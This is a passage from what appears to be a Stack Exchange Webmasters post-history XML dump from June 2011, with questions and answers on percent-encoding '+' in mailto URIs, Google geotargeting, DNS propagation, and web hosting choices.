http://en.wikipedia.org/wiki/Percent-encoding" />
  <row Id="37811" PostHistoryTypeId="5" PostId="15921" RevisionGUID="9193222c-e063-4c33-a2a9-70a074fe3cd6" CreationDate="2011-06-25T19:26:45.787" UserId="6276" Comment="get rid of irritating strikouts; added 1 characters in body" Text="The plus is used to encode spaces in URLs, not in HTML and not in SMTP (RFC2821). However, since `mailto:address@server.com` is a URI (it has a protocol, the protocol separator and the protocol address) then it should be [treated as a URI and it should be percent encoded][2].&#xD;&#xA;&#xD;&#xA;Therefore, it is up to the client to resolve accurately the encoded representation and to decode it as far as is appropriate. [Here is Microsoft's official take on the matter][1].&#xD;&#xA;&#xD;&#xA;You should apply URL encoding on mailto: URLs embedded in HTML if the characters in the email address are URI reserved. This ensures that you are doing the correct thing. It is up to the client to decode the URI appropriately from whence it is recieved. Yes, `this+address@gmail.com` is a very valid email; yes `this%2Baddress@gmail.com` is also valid. Yes those two are different, but whether they'll be treated differently is up to the client...&#xD;&#xA;&#xD;&#xA;As you noted, not all clients render this correctly. I suggest finding the most likely client (gmail? browser based clients? Outlook?) that your users will use and doing what that client does. You said you tested on GMail? How did you test it? With a &quot;browser based mailto: client (such as add-ons to firefox and gmail offer) the URI is most likely not being decoded (as it should be).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   [1]: http://msdn.microsoft.com/en-us/library/aa767737(v=vs.85).aspx&#xD;&#xA;   [2]: http://en.wikipedia.org/wiki/Percent-encoding" />
  <row Id="37812" PostHistoryTypeId="2" PostId="15926" RevisionGUID="92e7e871-d30f-4344-9df3-6022395024ab" CreationDate="2011-06-25T19:28:44.967" UserId="8571" Text="Per new RFC http://tools.ietf.org/html/rfc6068#section-5&#xD;&#xA;&#xD;&#xA;      ... '+' MAY BE encoded as %2B&#xD;&#xA;&#xD;&#xA;So I guess the answer is don't, but maybe?" />
  <row Id="37813" PostHistoryTypeId="5" PostId="15925" RevisionGUID="bdb320cd-cd97-4756-8b6d-4ff82e53bf4d" CreationDate="2011-06-25T19:28:54.247" UserId="3" Comment="added 144 characters in body" Text="The [RFC1738][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; ### 3.5. MAILTO&#xD;&#xA;&gt; &#xD;&#xA;&gt;    The mailto URL scheme is used to &#xD;&#xA;&gt; designate the Internet mailing &#xD;&#xA;&gt; address of an individual or service.&#xD;&#xA;&gt; No additional information other &#xD;&#xA;&gt; than an Internet mailing address is&#xD;&#xA;&gt; present or implied.&#xD;&#xA;&gt; &#xD;&#xA;&gt;    A mailto URL takes the form:&#xD;&#xA;&gt; &#xD;&#xA;&gt;         mailto:&lt;rfc822-addr-spec&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt;    where &lt;rfc822-addr-spec&gt; is (the&#xD;&#xA;&gt; encoding of an) addr-spec, as&#xD;&#xA;&gt; specified in [RFC 822][6]. Within&#xD;&#xA;&gt; mailto URLs, there are no reserved &#xD;&#xA;&gt; characters.&#xD;&#xA;&gt; &#xD;&#xA;&gt;    Note that the percent sign (&quot;%&quot;) is &#xD;&#xA;&gt; commonly used within RFC 822 &#xD;&#xA;&gt; addresses and must be encoded.&#xD;&#xA;&gt; &#xD;&#xA;&gt;    Unlike many URLs, the mailto scheme&#xD;&#xA;&gt; does not represent a data object to &#xD;&#xA;&gt; be accessed directly; there is no &#xD;&#xA;&gt; sense in which it designates an&#xD;&#xA;&gt; object. It has a different use than &#xD;&#xA;&gt; the message/external-body type in &#xD;&#xA;&gt; MIME.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Since there are no reserved characters it should be encoded. &#xD;&#xA;&#xD;&#xA;[1]: http://webmasters.stackexchange.com/mini-profiler-results?id=c271d966-5392-4634-9bb5-59fca20327ce&#xD;&#xA;[6]: http://www.w3.org/Protocols/rfc822/" />
  <row Id="37814" PostHistoryTypeId="2" PostId="15927" RevisionGUID="343147fa-4400-4a83-a9ec-631a2374e394" CreationDate="2011-06-25T19:42:56.507" UserId="5806" Text="Google.com vs Google.ca vs Google.co.uk (etc) all rank their results differently. The intention is to return more locally-relevant content.&#xD;&#xA;&#xD;&#xA;**What factors, other than the ones below, are used to determine local relevancy?**&#xD;&#xA;&#xD;&#xA;I already know the TLD (.com, .ca, etc) and likely the server IP address is used but there has to be more as this would not explain some search results I noticed this week. &#xD;&#xA;&#xD;&#xA;Particularly, I see a US-based site ranking #3 for some keywords on Google.com, ranking #5 on Google.ca and not ranking within the first pages on Google.co.uk. On Google.com it outranks a Australian site which outranks it on Google.ca. The site itself is relevant for all English-speaking locations and it being outranked by sites from different regions on different Google TLDs (but not ones from the same region as the TLD).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37815" PostHistoryTypeId="1" PostId="15927" RevisionGUID="343147fa-4400-4a83-a9ec-631a2374e394" CreationDate="2011-06-25T19:42:56.507" UserId="5806" Text="What Ranking Factors Are Used For International Search?" />
  <row Id="37816" PostHistoryTypeId="3" PostId="15927" RevisionGUID="343147fa-4400-4a83-a9ec-631a2374e394" CreationDate="2011-06-25T19:42:56.507" UserId="5806" Text="&lt;seo&gt;&lt;tld&gt;&lt;ranking&gt;&lt;international&gt;" />
  <row Id="37817" PostHistoryTypeId="2" PostId="15928" RevisionGUID="93aa6c0d-7f10-4d4b-bb02-18e2e143c9f7" CreationDate="2011-06-25T19:51:26.890" UserId="8562" Text="You MAY encode `+`, but you don't have to.&#xD;&#xA;&#xD;&#xA;First, we need to agree that `mailto` is an example of a generic URI, specified by [RFC 2396][1]. (This is what XHTML and HTML 4 use).&#xD;&#xA;&#xD;&#xA;Now let us find out the list of reserved characters in RFC 2396.&#xD;&#xA;&#xD;&#xA;    reserved    = &quot;;&quot; | &quot;/&quot; | &quot;?&quot; | &quot;:&quot; | &quot;@&quot; | &quot;&amp;&quot; | &quot;=&quot; | &quot;+&quot; |&#xD;&#xA;                  &quot;$&quot; | &quot;,&quot;&#xD;&#xA;&#xD;&#xA;URI splits into absolute and relative:&#xD;&#xA;&#xD;&#xA;    URI-reference = [ absoluteURI | relativeURI ] [ &quot;#&quot; fragment ]&#xD;&#xA;&#xD;&#xA;And because scheme `mailto:` is specified this is an absolute URI:    &#xD;&#xA;&#xD;&#xA;    absoluteURI   = scheme &quot;:&quot; ( hier_part | opaque_part )&#xD;&#xA;&#xD;&#xA;And since both patterns for `hier_part` start with `/`, `mailto` is an opaque part. &#xD;&#xA;&#xD;&#xA;    opaque_part   = uric_no_slash *uric&#xD;&#xA;&#xD;&#xA;    uric_no_slash = unreserved | escaped | &quot;;&quot; | &quot;?&quot; | &quot;:&quot; | &quot;@&quot; |&#xD;&#xA;                    &quot;&amp;&quot; | &quot;=&quot; | &quot;+&quot; | &quot;$&quot; | &quot;,&quot;&#xD;&#xA;&#xD;&#xA;    uric          = reserved | unreserved | escaped&#xD;&#xA;&#xD;&#xA;So the restriction is that you have to escape `/` if it comes to the first character, but after that you can put in reserved characters including `+` and `@`.&#xD;&#xA;&#xD;&#xA;Here's another RFC to support this. In the latest RFCs of mailto scheme published in 2010 called [RFC 6068][3], it says:&#xD;&#xA;&#xD;&#xA;&gt; Software creating `'mailto'` URIs likewise has to be careful to encode&#xD;&#xA;&gt; any reserved characters that are used.  HTML forms are one kind of&#xD;&#xA;&gt; software that creates `'mailto'` URIs.  Current implementations encode&#xD;&#xA;&gt; a space as `'+'`, but this creates problems because such a `'+'` standing&#xD;&#xA;&gt; for a space cannot be distinguished from a real `'+'` in a `'mailto'`&#xD;&#xA;&gt; URI.  When producing `'mailto'` URIs, all spaces SHOULD be encoded as&#xD;&#xA;&gt; `%20`, and `'+'` characters MAY be encoded as `%2B`.  Please note that `'+'`&#xD;&#xA;&gt; characters are frequently used as part of an email address to&#xD;&#xA;&gt; indicate a subaddress, as for example in `&lt;bill+ietf@example.org&gt;`.&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc2396&#xD;&#xA;  [2]: http://tools.ietf.org/html/rfc2368&#xD;&#xA;  [3]: http://tools.ietf.org/html/rfc6068&#xD;&#xA;" />
  <row Id="37818" PostHistoryTypeId="5" PostId="15923" RevisionGUID="908e7ad3-6d6d-490b-8347-f0f4aba73d40" CreationDate="2011-06-25T20:13:57.257" UserId="8565" Comment="added 347 characters in body" Text="A strict reading of the relevant RFC says that the &quot;+&quot; should be encoded.&#xD;&#xA;&#xD;&#xA;Section 2, top of page 2 on http://tools.ietf.org/html/rfc2368 says:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Note that all URL    reserved&#xD;&#xA;&gt; characters in &quot;to&quot; must be encoded: in&#xD;&#xA;&gt; particular,    parentheses, commas,&#xD;&#xA;&gt; and the percent sign (&quot;%&quot;), which&#xD;&#xA;&gt; commonly occur    in the &quot;mailbox&quot;&#xD;&#xA;&gt; syntax.&quot;&#xD;&#xA;&#xD;&#xA;The RFC for URIs (http://tools.ietf.org/html/rfc3986#section-2.2) lists &quot;+&quot; as a reserved character.&#xD;&#xA;&#xD;&#xA;That said, what is &quot;correct&quot; is not necessarily what will work in all browsers. Some browsers will obviously always handle the correct things as if they were wrong and the incorrect as if they were right.&#xD;&#xA;&#xD;&#xA;Edit: As for RFC6068 and its &quot;MAY&quot;, I would read that as context dependent. If you are writing the URL for text reading then &quot;+&quot; would make more sense, *however* if you're writing it in HTML then the stricter interpretation of RFC3986 would be more inline with &quot;valid HTML&quot; ideas and so anything using the value should expect it to be encoded." />
  <row Id="37819" PostHistoryTypeId="2" PostId="15929" RevisionGUID="70d9c214-27dc-4d41-95fa-c9294ab46044" CreationDate="2011-06-25T20:17:34.677" UserId="7401" Text="It always helps to think about the users first - Every page should discuss a unique subject matter and therefore one heading should be enough to describe that subject matter. Hope this helps." />
  <row Id="37820" PostHistoryTypeId="2" PostId="15930" RevisionGUID="f38b8c11-c353-48cf-97c1-2d3b1b049be9" CreationDate="2011-06-25T21:01:31.737" UserId="8577" Text="Hello i am in the same situation.&#xD;&#xA;&#xD;&#xA;I upgraded my package to dual windows hosting  on the 23rd and have not been able to host an external domain.&#xD;&#xA;&#xD;&#xA;I am at a loss .&#xD;&#xA;&#xD;&#xA;I didn't know that this problem had been going on for over 2 weeks and they cant tell me when it will be fixed !!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37821" PostHistoryTypeId="17" PostId="15931" RevisionGUID="05517a29-981f-4381-8e3d-221a8188d72f" CreationDate="2011-06-25T21:22:09.377" UserId="-1" Comment="from http://stackoverflow.com/questions/6480377/web-server-vs-web-hosting" Text="" />
  <row Id="37822" PostHistoryTypeId="17" PostId="15932" RevisionGUID="28319437-4b03-49af-9c01-156c2cfb7e65" CreationDate="2011-06-25T21:22:09.377" UserId="-1" Comment="from http://stackoverflow.com/questions/6480377/web-server-vs-web-hosting" Text="" />
  <row Id="37823" PostHistoryTypeId="17" PostId="15933" RevisionGUID="3996466d-4170-4224-9f80-0dc048884acc" CreationDate="2011-06-25T21:22:09.377" UserId="-1" Comment="from http://stackoverflow.com/questions/6480377/web-server-vs-web-hosting" Text="" />
  <row Id="37824" PostHistoryTypeId="2" PostId="15932" RevisionGUID="f38b9ee6-48f1-4163-90ea-a7e756b4fdae" CreationDate="2011-06-25T20:39:15.447" UserId="5876" Text="The terms are synonymous with the only difference being local vs. paid/commercial. You won't very easily be able to host a public website from your own machine sitting in your home." />
  <row Id="37825" PostHistoryTypeId="2" PostId="15933" RevisionGUID="6eafe83e-0163-465f-a6d6-3b21d66e3d2b" CreationDate="2011-06-25T20:40:09.963" UserDisplayName="Michael" Text="Hosting on a local server requires a lot of knowledge of server administration and security, and generally you'll need more than regular residential internet service for it to work. You would need to check with your ISP to find out whether it is even allowable, as some block inbound port 80 or consider home servers to be a violation of their terms of service.&#xD;&#xA;&#xD;&#xA;On a residential line, you need to obtain a dynamic DNS account since your server's IP will be changing all the time.&#xD;&#xA;&#xD;&#xA;Unless you are very familiar with server administration and have a strong understanding of DNS, I would not recommend attempting to serve a website out of your house.&#xD;&#xA;&#xD;&#xA;_(Note: I successfully run a web server out of my house on a residential DSL line, but also work as a professional Linux administrator)_" />
  <row Id="37826" PostHistoryTypeId="2" PostId="15931" RevisionGUID="9c1a837f-02f9-401e-8386-e836176f01fd" CreationDate="2011-06-25T20:37:04.587" UserDisplayName="Jjack" Text="I have always thought about hosting sites on a local web server with MAMP or a web server application on a reliable and fast connection, but I was wondering if it would be better to just go with web hosting? Also how would web hosting or a web server handle a sudden surge in traffic in a huge scale?" />
  <row Id="37827" PostHistoryTypeId="1" PostId="15931" RevisionGUID="9c1a837f-02f9-401e-8386-e836176f01fd" CreationDate="2011-06-25T20:37:04.587" UserDisplayName="Jjack" Text="Web Server vs Web Hosting" />
  <row Id="37828" PostHistoryTypeId="3" PostId="15931" RevisionGUID="9c1a837f-02f9-401e-8386-e836176f01fd" CreationDate="2011-06-25T20:37:04.587" UserDisplayName="Jjack" Text="&lt;php&gt;" />
  <row Id="37829" PostHistoryTypeId="25" PostId="15920" RevisionGUID="276a07e7-2ece-4b8c-8cb7-4fdd149a1bb6" CreationDate="2011-06-25T21:25:10.373" Comment="http://twitter.com/#!/StackWebmasters/status/84733894523494400" />
  <row Id="37830" PostHistoryTypeId="2" PostId="15934" RevisionGUID="bc70c329-d537-4bbc-b188-541c60741290" CreationDate="2011-06-25T22:14:04.233" UserId="6109" Text="I was asked if any similarities with a site like Facebook could potentially bring about some legal issues. I answered no assuming that there would already been news of a site getting sued if that were the case. However, just to be safe, what should you be careful with when it comes to look and feel?" />
  <row Id="37831" PostHistoryTypeId="1" PostId="15934" RevisionGUID="bc70c329-d537-4bbc-b188-541c60741290" CreationDate="2011-06-25T22:14:04.233" UserId="6109" Text="What legal issues can there be when it comes to look and feel?" />
  <row Id="37832" PostHistoryTypeId="3" PostId="15934" RevisionGUID="bc70c329-d537-4bbc-b188-541c60741290" CreationDate="2011-06-25T22:14:04.233" UserId="6109" Text="&lt;legal&gt;" />
  <row Id="37833" PostHistoryTypeId="2" PostId="15935" RevisionGUID="8431c80c-dc5d-45e9-b659-395fa51d924e" CreationDate="2011-06-25T22:26:43.883" UserId="1253" Text="[Google: Working with multi-regional websites][1]&#xD;&#xA;&#xD;&#xA;&gt; Google generally uses the following&#xD;&#xA;&gt; elements to determine the geotargeting&#xD;&#xA;&gt; of a website (or a part of a website):&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Use of a ccTLD** is generally a strong signal for users since it&#xD;&#xA;&gt; explicitly specifies a single country&#xD;&#xA;&gt; in an unmistakable way.&#xD;&#xA;&gt; &#xD;&#xA;&gt; or&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Webmaster Tools' manual geotargeting for gTLDs** (this can be on a domain,&#xD;&#xA;&gt; subdomain or subdirectory level); more&#xD;&#xA;&gt; information on this can be found in&#xD;&#xA;&gt; our blog post and in the Help Center.&#xD;&#xA;&gt; With region tags from geotargeting&#xD;&#xA;&gt; being shown in search results, this&#xD;&#xA;&gt; method is also very clear to users.&#xD;&#xA;&gt; Please keep in mind that it generally&#xD;&#xA;&gt; does not make sense to set a&#xD;&#xA;&gt; geographic target if the same pages on&#xD;&#xA;&gt; your site target more than a single&#xD;&#xA;&gt; country (say, all German-speaking&#xD;&#xA;&gt; countries) — just write in that&#xD;&#xA;&gt; language and do not use the&#xD;&#xA;&gt; geotargeting setting (more on writing&#xD;&#xA;&gt; in other languages will follow soon!).&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Server location** (through the IP address of the server) is frequently&#xD;&#xA;&gt; near your users. However, some&#xD;&#xA;&gt; websites use distributed content&#xD;&#xA;&gt; delivery networks (CDNs) or are hosted&#xD;&#xA;&gt; in a country with better webserver&#xD;&#xA;&gt; infrastructure, so we try not to rely&#xD;&#xA;&gt; on the server location alone.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Other signals can give us hints**. This could be from local addresses &amp;&#xD;&#xA;&gt; phone numbers on the pages, use of&#xD;&#xA;&gt; local language and currency, links&#xD;&#xA;&gt; from other local sites, and/or the use&#xD;&#xA;&gt; of Google's Local Business Center&#xD;&#xA;&gt; (where available).&#xD;&#xA;&gt; &#xD;&#xA;&gt; Note that we do not use locational&#xD;&#xA;&gt; meta tags (like &quot;geo.position&quot; or&#xD;&#xA;&gt; &quot;distribution&quot;) or HTML attributes for&#xD;&#xA;&gt; geotargeting. While these may be&#xD;&#xA;&gt; useful in other regards, we've found&#xD;&#xA;&gt; that they are generally not reliable&#xD;&#xA;&gt; enough to use for geotargeting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="37834" PostHistoryTypeId="5" PostId="15935" RevisionGUID="db553161-6c11-4327-a49c-3a29cf0e8218" CreationDate="2011-06-25T23:32:52.667" UserId="1253" Comment="added 288 characters in body" Text="[Google: Working with multi-regional websites][1]&#xD;&#xA;&#xD;&#xA;&gt; Google generally uses the following&#xD;&#xA;&gt; elements to determine the geotargeting&#xD;&#xA;&gt; of a website (or a part of a website):&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Use of a ccTLD** is generally a strong signal for users since it&#xD;&#xA;&gt; explicitly specifies a single country&#xD;&#xA;&gt; in an unmistakable way.&#xD;&#xA;&gt; &#xD;&#xA;&gt; or&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Webmaster Tools' manual geotargeting for gTLDs** (this can be on a domain,&#xD;&#xA;&gt; subdomain or subdirectory level); more&#xD;&#xA;&gt; information on this can be found in&#xD;&#xA;&gt; our blog post and in the Help Center.&#xD;&#xA;&gt; With region tags from geotargeting&#xD;&#xA;&gt; being shown in search results, this&#xD;&#xA;&gt; method is also very clear to users.&#xD;&#xA;&gt; Please keep in mind that it generally&#xD;&#xA;&gt; does not make sense to set a&#xD;&#xA;&gt; geographic target if the same pages on&#xD;&#xA;&gt; your site target more than a single&#xD;&#xA;&gt; country (say, all German-speaking&#xD;&#xA;&gt; countries) — just write in that&#xD;&#xA;&gt; language and do not use the&#xD;&#xA;&gt; geotargeting setting (more on writing&#xD;&#xA;&gt; in other languages will follow soon!).&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Server location** (through the IP address of the server) is frequently&#xD;&#xA;&gt; near your users. However, some&#xD;&#xA;&gt; websites use distributed content&#xD;&#xA;&gt; delivery networks (CDNs) or are hosted&#xD;&#xA;&gt; in a country with better webserver&#xD;&#xA;&gt; infrastructure, so we try not to rely&#xD;&#xA;&gt; on the server location alone.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Other signals can give us hints**. This could be from local addresses &amp;&#xD;&#xA;&gt; phone numbers on the pages, use of&#xD;&#xA;&gt; local language and currency, links&#xD;&#xA;&gt; from other local sites, and/or the use&#xD;&#xA;&gt; of Google's Local Business Center&#xD;&#xA;&gt; (where available).&#xD;&#xA;&gt; &#xD;&#xA;&gt; Note that we do not use locational&#xD;&#xA;&gt; meta tags (like &quot;geo.position&quot; or&#xD;&#xA;&gt; &quot;distribution&quot;) or HTML attributes for&#xD;&#xA;&gt; geotargeting. While these may be&#xD;&#xA;&gt; useful in other regards, we've found&#xD;&#xA;&gt; that they are generally not reliable&#xD;&#xA;&gt; enough to use for geotargeting.&#xD;&#xA;&#xD;&#xA;Other then giving more weight to local web pages the ranking factors are the same. It is important to note that being in a specific country doesn't mean you'm automatically rank well or better then non-country specific web pages. Quality of content still is the most important factor.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="37835" PostHistoryTypeId="5" PostId="15885" RevisionGUID="b32c213d-58b1-4033-8c8f-30c2a783ff65" CreationDate="2011-06-25T23:39:15.847" UserId="231" Comment="added details" Text="Yes, it's a reserved character.&#xD;&#xA;&#xD;&#xA;&gt; **Other reserved characters**&#xD;&#xA;&#xD;&#xA;&gt; The asterisk (&quot;*&quot;, ASCII 2A hex) and exclamation mark (&quot;!&quot; , ASCII 21 hex) are reserved for use as having special significance within specific schemes.&#xD;&#xA;&#xD;&#xA;From here: http://www.w3.org/Addressing/URL/4_URI_Recommentations.html&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;&gt; Section 2, on characters, has been rewritten to explain what characters are reserved, when they are reserved, and why they are reserved, even when they are not used as delimiters by the generic syntax. **The mark characters that are typically unsafe to decode, including the exclamation mark (&quot;!&quot;), asterisk (&quot;*&quot;), single-quote (&quot;'&quot;), and open and close parentheses (&quot;(&quot; and &quot;)&quot;), have been moved to the reserved set in order to clarify the distinction between reserved and unreserved and, hopefully, to answer the most common question of scheme designers.**&#xD;&#xA;&#xD;&#xA;From here: http://labs.apache.org/webarch/uri/rfc/rfc3986.html#modifications" />
  <row Id="37836" PostHistoryTypeId="2" PostId="15936" RevisionGUID="83ccb528-ad13-4f8a-9efd-439b8fa93a5c" CreationDate="2011-06-25T23:47:56.153" UserId="8584" Text="Several hours ago i changed nameserver and DNS info on one of my domains at my domainregistar. When i access the domain from my home computers and when my friends access the domain they get to the old ip-adress hosting the dead site(We all live in Sweden).&#xD;&#xA;&#xD;&#xA;But when i access the website from my mobile phone or through google.com/translate or North American proxies the website is shown like it should.&#xD;&#xA;&#xD;&#xA;Why is this?, does it take time for change to take effect for diffrent locations/countries? I find it very strange and would like to start using my site now.&#xD;&#xA;&#xD;&#xA;Do you think it will change or could i've been doing something wrong?" />
  <row Id="37837" PostHistoryTypeId="1" PostId="15936" RevisionGUID="83ccb528-ad13-4f8a-9efd-439b8fa93a5c" CreationDate="2011-06-25T23:47:56.153" UserId="8584" Text="My new DNS change works from America but not Sweden" />
  <row Id="37838" PostHistoryTypeId="3" PostId="15936" RevisionGUID="83ccb528-ad13-4f8a-9efd-439b8fa93a5c" CreationDate="2011-06-25T23:47:56.153" UserId="8584" Text="&lt;dns&gt;&lt;dns-servers&gt;" />
  <row Id="37839" PostHistoryTypeId="2" PostId="15937" RevisionGUID="017d8c36-7d80-4f7a-bb99-8018720bf692" CreationDate="2011-06-26T00:06:37.377" UserId="8354" Text="It will change for sure -- it just can take up to 48 hours for changes to propagate (you have to check TTL (time to live) value for your DNS records).&#xD;&#xA;&#xD;&#xA;Most likely you (your computer) still see the old cached details. When cache will expire you will get proper up-to-date details.&#xD;&#xA;&#xD;&#xA;When you accessing it via mobile device/another country, these details were not cached there at all (for example, no-one was accessing that site) and they already see fresh details.&#xD;&#xA;&#xD;&#xA;You are in Sweden  -- I would say by the morning everything should be fine. 48 hours is the max that not used that often -- usually such delay is no more than 12 hours (depends on registrar/where you host your DNS)." />
  <row Id="37840" PostHistoryTypeId="2" PostId="15938" RevisionGUID="20859c17-13b9-4b65-a231-2cc7a6bc294b" CreationDate="2011-06-26T00:07:49.467" UserId="1253" Text="DNS can take 24 hours or more due to caching by ISPs. So a few hours is too soon to say there is a problem. By this time time, or more likely sooner, it will work for you as the cache that if affecting you will have expired and a fresh DNS lookup will be performed." />
  <row Id="37841" PostHistoryTypeId="25" PostId="15931" RevisionGUID="7a715013-8f6b-4655-84c0-27cf8c85deb5" CreationDate="2011-06-26T00:25:11.970" Comment="http://twitter.com/#!/StackWebmasters/status/84779202276114432" />
  <row Id="37846" PostHistoryTypeId="2" PostId="15940" RevisionGUID="c4c46a8c-6928-4086-8472-fe35e25cfd39" CreationDate="2011-06-26T01:51:08.153" UserId="8021" Text="Got it. I was trying to use an HTTP header to redirect to &quot;/&quot; from &quot;index.cgi&quot;, but changed to redirecting to &quot;index.cgi&quot; after seeing wolfie's post at http://forums.devshed.com/php-development-5/clear-get-post-value-on-refresh-page-69657.html." />
  <row Id="37847" PostHistoryTypeId="2" PostId="15941" RevisionGUID="cc83c996-6c8c-4b3b-92e8-b2071d7f620b" CreationDate="2011-06-26T03:04:07.103" UserId="1455" Text="The stats you gave make no sense. No visitor stays more then 10 seconds?&#xD;&#xA;Check if the GA tags are on every page of your website.&#xD;&#xA;Also, have you considered that the problem may be Google Analytics determination of what is a bounce which is 1 page view.&#xD;&#xA;Many blogs or news sites may consider 1pageview per visitor normal.&#xD;&#xA; If you present the user with a download PDF link, perhaps clicking that link is considered a bounce.&#xD;&#xA;If your bounce rate is 90% then page views per visitor should be just above 1. Is it? " />
  <row Id="37848" PostHistoryTypeId="25" PostId="15936" RevisionGUID="587281f8-de16-455f-aeaf-5b316c6f40fa" CreationDate="2011-06-26T03:25:12.103" Comment="http://twitter.com/#!/StackWebmasters/status/84824501086461952" />
  <row Id="37849" PostHistoryTypeId="25" PostId="15905" RevisionGUID="1544800e-ddf2-44c3-aa04-1aa6f900f596" CreationDate="2011-06-26T06:25:11.803" Comment="http://twitter.com/#!/StackWebmasters/status/84869798374277120" />
  <row Id="37850" PostHistoryTypeId="2" PostId="15942" RevisionGUID="80d92488-4d40-42cb-a8bb-51b6dd8e0d07" CreationDate="2011-06-26T06:46:21.683" UserId="2490" Text="[Arvixe][1] is really good hosting, they support what you need. Not sure about replication though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3.html" />
  <row Id="37851" PostHistoryTypeId="25" PostId="15906" RevisionGUID="565fef0e-11ae-45c0-8db2-d907a3d3645d" CreationDate="2011-06-26T09:25:11.623" Comment="http://twitter.com/#!/StackWebmasters/status/84915096035409920" />
  <row Id="37855" PostHistoryTypeId="2" PostId="15944" RevisionGUID="8798a9cd-4d31-476a-a68f-82de9fe69dec" CreationDate="2011-06-26T09:41:04.160" UserId="8596" Text="Note that HTML5 makes these titles relative to the current section, so they regain their true semantic meaning, and make them relative to their context (you can have a `h1` tag in a side block, for example).&#xD;&#xA;&#xD;&#xA;Now, you might not use HTML5, and I don't know if search engines take it in account yet. If it is important for you, it might be more prudent to play it safe and use only `h2` as main title, keeping the `h1` to repeat the `title` tag (well, that's what I usually do)." />
  <row Id="37859" PostHistoryTypeId="2" PostId="15947" RevisionGUID="60314feb-2c6a-48ce-9315-72831662c304" CreationDate="2011-06-26T10:07:22.773" UserId="6149" Text="Twitter and Google(http://www.google.com/trends/hottrends?sa=X) gives top current searches - And very easy to get this data with feeds/ajax.&#xD;&#xA;&#xD;&#xA;Yahoo also have top searches but I didn't find the way to get this data by program.&#xD;&#xA;&#xD;&#xA;Facebook + Bing + Alexa etc.. I didn't find this option.&#xD;&#xA;&#xD;&#xA;Does it possible to get top search keywords in : facebook, bing, yahoo like twitter + google have?&#xD;&#xA;&#xD;&#xA;If yes please give url + api(if exist).&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="37860" PostHistoryTypeId="1" PostId="15947" RevisionGUID="60314feb-2c6a-48ce-9315-72831662c304" CreationDate="2011-06-26T10:07:22.773" UserId="6149" Text="Does it possible to get top search keywords in : facebook, bing, yahoo alexa?" />
  <row Id="37861" PostHistoryTypeId="3" PostId="15947" RevisionGUID="60314feb-2c6a-48ce-9315-72831662c304" CreationDate="2011-06-26T10:07:22.773" UserId="6149" Text="&lt;facebook&gt;&lt;yahoo&gt;&lt;bing&gt;&lt;alexa&gt;" />
  <row Id="37862" PostHistoryTypeId="2" PostId="15948" RevisionGUID="4dc84c44-a5b2-43ae-b2b5-56f729a16e56" CreationDate="2011-06-26T10:08:14.613" UserId="3312" Text="E.g. should the like button use www.somewebsite.com or facebook.com/somewebsite as the 'liked' item?&#xD;&#xA;&#xD;&#xA;Just to clarify, I realise that individual pages would do better with their own like buttons, pointing to the actual content.  But this question is in the context of the home page - i.e. 'liking' the whole site." />
  <row Id="37863" PostHistoryTypeId="1" PostId="15948" RevisionGUID="4dc84c44-a5b2-43ae-b2b5-56f729a16e56" CreationDate="2011-06-26T10:08:14.613" UserId="3312" Text="Should a facebook 'like' button on a website use the actual website url as the 'liked' item, or the url of the website's facebook fan page?" />
  <row Id="37864" PostHistoryTypeId="3" PostId="15948" RevisionGUID="4dc84c44-a5b2-43ae-b2b5-56f729a16e56" CreationDate="2011-06-26T10:08:14.613" UserId="3312" Text="&lt;facebook&gt;" />
  <row Id="37867" PostHistoryTypeId="2" PostId="15950" RevisionGUID="912a6639-e23b-4cc9-bd52-9ac2e4152862" CreationDate="2011-06-26T10:29:40.830" UserId="8599" Text="Per [RFC 6068][1] as mentioned in answers, you MAY encode the plus sign as `%2B`.&#xD;&#xA;&#xD;&#xA;The reason there's confusion is that converting a space into a plus isn't actually part of standard URL encoding, it's part of _form parameter encoding_ (i.e. _`application/x-www-form-urlencoded`_)&#xD;&#xA;&#xD;&#xA;It's like the difference between PHP's `rawurlencode()` and `urlencode()`.&#xD;&#xA;&#xD;&#xA;So what RFC 6068 is saying is that a `mailto:` URL should use &quot;raw&quot; standard URL encoding (per [RFC 3986][2]), and a plus sign that appears in the URL should always be treated as a literal plus sign, and not as a space which has been form encoded.&#xD;&#xA;&#xD;&#xA;If the local client does convert the plus into a space it's broken.&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.ietf.org/html/rfc6068#page-8&#xD;&#xA;  [2]: http://tools.ietf.org/html/rfc3986" />
